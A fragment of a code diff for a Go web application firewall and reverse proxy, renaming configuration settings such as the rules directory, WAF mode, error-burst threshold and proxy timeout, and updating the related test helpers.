logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
rulesDir = "SWW_WAF_RULES_DIR"
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
)
// off is the value that switches a setting off.
@@ -93,10 +93,6 @@ const off = "off"
// on is the value that switches a setting that takes true or false on.
const on = "true"
// falseValue is the value that switches a setting that takes true or false
// off.
const falseValue = "false"
// output collects what sww writes on stdout.
type output struct {
mu sync.Mutex
@@ -305,7 +301,7 @@ func startProxyWithGeoJS(
// startProxyWithClock is startProxyWithGeoJS with requests counted and
// bans made by the time now tells, and returns waf's server as well, whose
// Addr is where waf listens. Unless env sets SWW_WAF_RULE_FILES_DIR, it is an empty
// Addr is where waf listens. Unless env sets SWW_WAF_RULES_DIR, it is an empty
// directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app,
// the label instance of every metric.
func startProxyWithClock(
@@ -366,19 +362,17 @@ func serve(t *testing.T, server *waf.Server) {
// startRProxy starts rproxy in front of the app at appURL, asking the waf
// at wafAddr, with the settings in env on top of the defaults, and returns
// where it listens. What it writes is dropped.
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS is a minute unless env sets it, so that
// on a busy host SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION does not
// decide.
// where it listens. What it writes is dropped. SWW_RPROXY_TIMEOUT_MS is a minute unless
// env sets it, so that on a busy host SWW_RPROXY_DEFAULT_DISPOSITION does not decide.
func startRProxy(
t *testing.T, wafAddr, appURL string, env map[string]string,
) string {
t.Helper()
settings := map[string]string{
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr,
"SWW_RPROXY_UPSTREAM_URL": appURL,
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS": "60000",
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr,
"SWW_RPROXY_UPSTREAM_URL": appURL,
"SWW_RPROXY_TIMEOUT_MS": "60000",
}
maps.Copy(settings, env)
@@ -446,7 +440,7 @@ func newWAFWith(
t.Helper()
settings := map[string]string{
ruleFilesDir: t.TempDir(), instanceName: "app", coreRuleSetMode: off,
rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
}
if geojsURL == "" {
settings[lookupSource] = off
@@ -454,7 +448,7 @@ func newWAFWith(
maps.Copy(settings, env)
cfg, err := config.WAFFromEnvironment(configtest.Viper(settings))
cfg, err := config.FromEnvironment(configtest.Viper(settings))
if err != nil {
t.Fatalf("settings %v: %v", settings, err)
}
@@ -467,7 +461,7 @@ func newWAFWith(
)
ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RuleFilesDir, Enabled: cfg.RuleFilesEnabled, ProcessLog: processLog,
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
})
if err != nil {
t.Fatalf("rule files: %v", err)
+5 -5
View File
@@ -1,6 +1,6 @@
package waf
// The heuristic refusal_limit. It reads SWW_WAF_REFUSALS_LIMIT_PER_MINUTE and
// The heuristic refusal_limit. It reads SWW_WAF_ERROR_BURST_THRESHOLD and
// SWW_WAF_BAN_RESPONSE.
import (
@@ -14,9 +14,9 @@ import (
// refusalLimit counts the request once it has been answered, if waf
// refused it after a rule file match, a trap path or a Core Rule Set match, and
// in observe mode if enforce mode would have: more than
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
// SWW_WAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
// heuristics skip, is not counted, and nothing is while the limit is off.
// heuristics skip, is not counted, and nothing is while the threshold is off.
// Its figures are the window, the count and the limit.
type refusalLimit struct{}
@@ -28,7 +28,7 @@ func (refusalLimit) check(
now time.Time,
) *verdict {
cfg := rq.h.config
if cfg.RefusalsLimitPerMinute == 0 {
if cfg.ErrorBurstThreshold == 0 {
return nil
}
@@ -37,7 +37,7 @@ func (refusalLimit) check(
}
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.RefusalsLimitPerMinute)
cfg.ErrorBurstThreshold)
if !over {
return nil
}
Loaded 100 of 113 files, more files were not shown because too many files have changed in this diff. Show more